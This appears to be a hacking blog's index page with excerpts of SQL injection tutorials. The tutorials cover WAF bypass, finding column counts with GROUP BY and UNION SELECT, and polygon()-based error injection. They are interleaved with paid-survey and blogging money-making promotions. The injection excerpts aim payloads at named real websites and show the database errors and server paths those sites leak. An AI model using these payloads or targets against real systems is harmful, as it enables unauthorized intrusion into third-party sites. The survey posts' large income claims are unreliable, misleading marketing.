how to bypass whitspaces and comma For noobs

 HI Today we will learn how to bypass white spaces and commas if it is blocked by Waf.Lets startCode::http://bluegrassmidwest.com/details.php?id=18when i put ' it generates a error message which very good for injectoreYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''18''' at line 1This error generate due to dismatch of query.now when i tried to fix query it generates different error ...http://bluegrassmidwest.com/details.php?id=18' %23ERROR::Warning: Cookie names cannot contain any of the following '=,; \t\r\n\013\014' in /home/bgmidwest/domains/bluegrassmidwest.com/public_html/details.phpon...

Read the rest of this entry »

Posted in SQlbasics , SQLINJECTION

Paid Surveys At Home Hurry Up !!!

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------How it Works:::::Everyday companies pay big bucks to people like you just to know what you're thinking. They're desperate to understand how you think and shop and why you buy certain products. They spend $41 billion each year for market research to help decide if a product is worth their time and money. This helps them improve their products. So they pay YOU good money for your opinion. They Need You! Right now, we have hundreds of market research firms...

Read the rest of this entry »

Posted in earningtips

Learn The Secret Of How Others are RAking in $500-$3500 A month just By Taking Paid Surveys

--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------Hello, my name is Daniel Cooper,And I would like to tell you one of my favorite stories I have ever heard…It’s about a man who was at one of the lowest times in his entire life, and the story of how he was able to completely turn his life around.This man went from being thousands of dollars in debt…to being able to pay off ALL of his bills - living a completely debt free life.So,...

Read the rest of this entry »

Posted in earningtips

Start Blogging with John Chow And Earn 400+$ Per month

The most amazing part is that you can start as early as today, even if...You have no website or blogYou have no technical knowledgeYou have no time to blogYou have no expertise in your nicheLook, most people will have you fooled into thinking that making money online through blogging is difficult and complicated.Most people also think that they do not have the knowledge to provide content and that blogging is time consuming.But in truth, it's not.I'll show you just how easy it can be done with simple step-by-step guides in which I (almost) literally hold your hand and teach you how to create a...

Read the rest of this entry »

Posted in earningtips

[SQLI TRICK] find column count in one request [TUT]

first,explanation.up to now,we got the column count with group/order by.like thisCode:http://www.marinaplast.com/page.php?id=13 group by 6error 1054Quote:(Unknown column '6' in 'group statement')Code:http://www.marinaplast.com/page.php?id=13 group by 5no error.why its happening?behind the url /page.php?id=13 there is a sql queryPHP Code:SELECT * FROM pages WHERE id=13 /** if you dont know what it means,its time to learn sql.http://www.w3schools.com/sql/default.asp **/the union columns represent the columns in the same table.http://www.w3schools.com/sql/sql_union.aspfor example,if the query is like thisPHP Code:SELECT id,title,price,pic,type FROM pages WHERE id=13 so the union will be likePHP Code:SELECT id,title,price,pic,type FROM pages WHERE id=13 UNION SELECT 1,2,3,4,5 because...

Read the rest of this entry »

Posted in SQlbasics , SQLINJECTION

Error Base Tutorials New Methods

                        ~~~::::Benzi Tutorials::::~~~~Maybe some of you heard, or maybe not, but theres a new type of error based in mysql.discoverd about a week ago.the dude who discoverd this called spari, which in case a dear friend of mine.this method called "non-geometric error based".lets start.this method based on the function polygon().in a nutshell, this function constructs geometry collection.the vuln thing about it, that it can only work with the function point().for example-Code:SELECT polygon(point(53,12));and the output is a bunch of ???'s.not really exciting,...

Read the rest of this entry »

Posted in SQlbasics , SQLINJECTION